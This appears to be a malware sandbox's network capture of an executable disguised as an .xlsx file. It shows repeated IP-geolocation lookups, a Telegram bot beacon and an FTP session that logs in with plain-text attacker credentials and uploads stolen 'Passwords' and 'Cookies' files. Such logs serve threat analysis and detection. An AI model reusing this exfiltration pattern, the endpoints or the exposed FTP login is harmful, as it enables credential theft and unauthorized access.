2024-07-17 12:17:04 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-17 12:17:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	188.114.97.3	443	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-17 12:17:05 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-17 12:17:05 UTC	714	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:05 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52983 Last-Modified: Tue, 16 Jul 2024 21:34:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U1dXsn%2BhRgSCLkABqd0%2BItwDfWLK2AIcHMibO1vfJKi9j5pBXp65lnbQ9%2Bql%2FLGuXKEJ6wEfxnnr0X8UyxvYJExNB%2FrgAVw%2Bd1QE7W%2FWnXQY8BBsfouIhOMntqUjg12ARhrIUzpu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a4a2ab9bc0e8cc0-EWR alt-svc: h3=":443"; ma=86400
2024-07-17 12:17:05 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-17 12:17:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	188.114.97.3	443	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-17 12:17:06 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-17 12:17:06 UTC	710	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:06 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52984 Last-Modified: Tue, 16 Jul 2024 21:34:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i%2FZUCcGNYvTp3SZPzRjTIjK2DH0KP2EJUA%2FTdlr9eWqI2sx4h9T4DdLW%2BoWxGkmu1TsXqHe6Gf6pSER7xF1RrEhlF9orBt2MU687%2Fy8J0L4SgkFAwT2CwaX6zbiKgJU%2BvNvHGQHW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a4a2ac08d09440c-EWR alt-svc: h3=":443"; ma=86400
2024-07-17 12:17:06 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-17 12:17:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	188.114.97.3	443	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-17 12:17:07 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-17 12:17:07 UTC	704	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:07 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52985 Last-Modified: Tue, 16 Jul 2024 21:34:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2lAyArFnGK%2FcfzCTMp0nThylq5Et4h7ySSnmB8AEVBEUbyPfTL9OmJldvxru1fZ7uI97yhIn9LWB7J1ZZCxBxsy0T4rj02p1%2B6aboaeyQ2WJooptxskqOsc5puDOVfhJ1HoaUFmp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a4a2ac77a91c466-EWR alt-svc: h3=":443"; ma=86400
2024-07-17 12:17:07 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-17 12:17:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49742	188.114.97.3	443	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-17 12:17:08 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-17 12:17:08 UTC	712	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:08 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52986 Last-Modified: Tue, 16 Jul 2024 21:34:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2rnX%2F3ZIMtZVtvHk0m%2BXv%2FxprHsQEaxqqvzBv8vCvBcQYQv2VNPjXC7IVIMWfe%2Bds3cjVw%2B9eaWRGeV4IDNVRevTLaPVfwjg9F7Y%2F3KajRk8tCXPTlROXltHHQ3s7ceVwaqNsI2E"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a4a2ace4ba1c42a-EWR alt-svc: h3=":443"; ma=86400
2024-07-17 12:17:08 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-17 12:17:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	188.114.97.3	443	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-17 12:17:10 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-17 12:17:10 UTC	710	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:10 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52988 Last-Modified: Tue, 16 Jul 2024 21:34:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gX4Ik%2FLREQwhf3M7J51osrR6KGyjzwZTgLV63sPENHJy1wTLycV8Pd84mlMcxfMNMhs%2FqZcNLovHkK9cSaYjLcxBgJDlfHFVv34%2BDHawMTImJTGXVvOLGDZMt%2FA%2FrcNFbKYMULNy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a4a2ad6cdd73342-EWR alt-svc: h3=":443"; ma=86400
2024-07-17 12:17:10 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-17 12:17:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	188.114.97.3	443	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-17 12:17:11 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-17 12:17:11 UTC	716	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:11 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52989 Last-Modified: Tue, 16 Jul 2024 21:34:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GEjPgkGFxvc85YSPaOWCZ2wgc5Xup3xuE0kN%2BvmOgMarh%2B%2BIUsXDrXiNwz%2FG3fap%2B%2Bw540R7%2BuTmZqWYHXZjUFMltlgnk8Cy7zVQYb1LeIRMScNu1FxxZrXQOtC7dZ96JOh4%2FRYb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a4a2addaa870cc1-EWR alt-svc: h3=":443"; ma=86400
2024-07-17 12:17:11 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-17 12:17:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	188.114.97.3	443	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-17 12:17:12 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-17 12:17:12 UTC	704	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:12 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52990 Last-Modified: Tue, 16 Jul 2024 21:34:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y0gG7qdA0KmDCXeXCdQhmDu%2BVUZWwiNTPESRor94zKa3NYjLA9TjTDCPhOktIQGdad5jK4VQlknCPePIO3d2jokch9vkB0btoq15wYb3P%2FBXswkO45ueS7soVxRLBGHJQkUJUUcP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a4a2ae47e511a30-EWR alt-svc: h3=":443"; ma=86400
2024-07-17 12:17:12 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-17 12:17:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49751	188.114.97.3	443	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-17 12:17:13 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-17 12:17:13 UTC	704	IN	HTTP/1.1 200 OK Date: Wed, 17 Jul 2024 12:17:13 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52991 Last-Modified: Tue, 16 Jul 2024 21:34:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mvwN%2BcpMuE52VPOBINtl4mhc5Vneb5%2Fjb7mEBEf1QXGPC5KIAlzCZBPbvNWeGvsMiLwSfKaOepRYreKNOdecvJewdpiPs6QwfubgTYMX729uPImJsWx0F6OiOEHHGfGwGx1wZmol"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a4a2aed780a4307-EWR alt-svc: h3=":443"; ma=86400
2024-07-17 12:17:13 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-17 12:17:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49752	149.154.167.220	443	2992	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-17 12:17:14 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:562258%0D%0ADate%20and%20Time:%2017/07/2024%20/%2019:03:11%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20562258%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-07-17 12:17:14 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 17 Jul 2024 12:17:14 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-07-17 12:17:14 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jul 17, 2024 14:17:21.064588070 CEST	21	49756	213.189.52.181	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 150 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 150 allowed.220-Local time is now 14:17. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 150 allowed.220-Local time is now 14:17. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 150 allowed.220-Local time is now 14:17. Server port: 21.220-This is a private system - No anonymous login220 You will be disconnected after 15 minutes of inactivity.
Jul 17, 2024 14:17:21.064830065 CEST	49756	21	192.168.2.4	213.189.52.181	USER f2243_axaabu
Jul 17, 2024 14:17:21.257766008 CEST	21	49756	213.189.52.181	192.168.2.4	331 User f2243_axaabu OK. Password required
Jul 17, 2024 14:17:21.258104086 CEST	49756	21	192.168.2.4	213.189.52.181	PASS Realak980#
Jul 17, 2024 14:17:21.524398088 CEST	21	49756	213.189.52.181	192.168.2.4	230 OK. Current restricted directory is /
Jul 17, 2024 14:17:21.714761972 CEST	21	49756	213.189.52.181	192.168.2.4	504 Unknown command
Jul 17, 2024 14:17:21.714934111 CEST	49756	21	192.168.2.4	213.189.52.181	PWD
Jul 17, 2024 14:17:21.904567957 CEST	21	49756	213.189.52.181	192.168.2.4	257 "/" is your current location
Jul 17, 2024 14:17:21.904773951 CEST	49756	21	192.168.2.4	213.189.52.181	TYPE I
Jul 17, 2024 14:17:22.450741053 CEST	21	49756	213.189.52.181	192.168.2.4	200 TYPE is now 8-bit binary
Jul 17, 2024 14:17:22.450953007 CEST	49756	21	192.168.2.4	213.189.52.181	PASV
Jul 17, 2024 14:17:22.451524973 CEST	21	49756	213.189.52.181	192.168.2.4	200 TYPE is now 8-bit binary
Jul 17, 2024 14:17:22.642566919 CEST	21	49756	213.189.52.181	192.168.2.4	227 Entering Passive Mode (213,189,52,181,250,212)
Jul 17, 2024 14:17:22.648998976 CEST	49756	21	192.168.2.4	213.189.52.181	STOR xlxabu562258 - Passwords ID - ZyiAEnXWZP1822138434.txt
Jul 17, 2024 14:17:23.204821110 CEST	21	49756	213.189.52.181	192.168.2.4	150 Accepted data connection
Jul 17, 2024 14:17:23.420774937 CEST	21	49756	213.189.52.181	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.204 seconds (measured here), 1.64 Kbytes per second
Jul 17, 2024 14:17:24.930371046 CEST	49756	21	192.168.2.4	213.189.52.181	PASV
Jul 17, 2024 14:17:25.396604061 CEST	21	49756	213.189.52.181	192.168.2.4	227 Entering Passive Mode (213,189,52,181,250,119)
Jul 17, 2024 14:17:25.398139954 CEST	21	49756	213.189.52.181	192.168.2.4	227 Entering Passive Mode (213,189,52,181,250,119)
Jul 17, 2024 14:17:25.402735949 CEST	49756	21	192.168.2.4	213.189.52.181	STOR xlxabu562258 - Cookies ID - ZyiAEnXWZP1822138434.txt
Jul 17, 2024 14:17:25.970232964 CEST	21	49756	213.189.52.181	192.168.2.4	150 Accepted data connection
Jul 17, 2024 14:17:26.328495979 CEST	21	49756	213.189.52.181	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.198 seconds (measured here), 33.49 Kbytes per second
Jul 17, 2024 14:17:27.837539911 CEST	49756	21	192.168.2.4	213.189.52.181	PASV
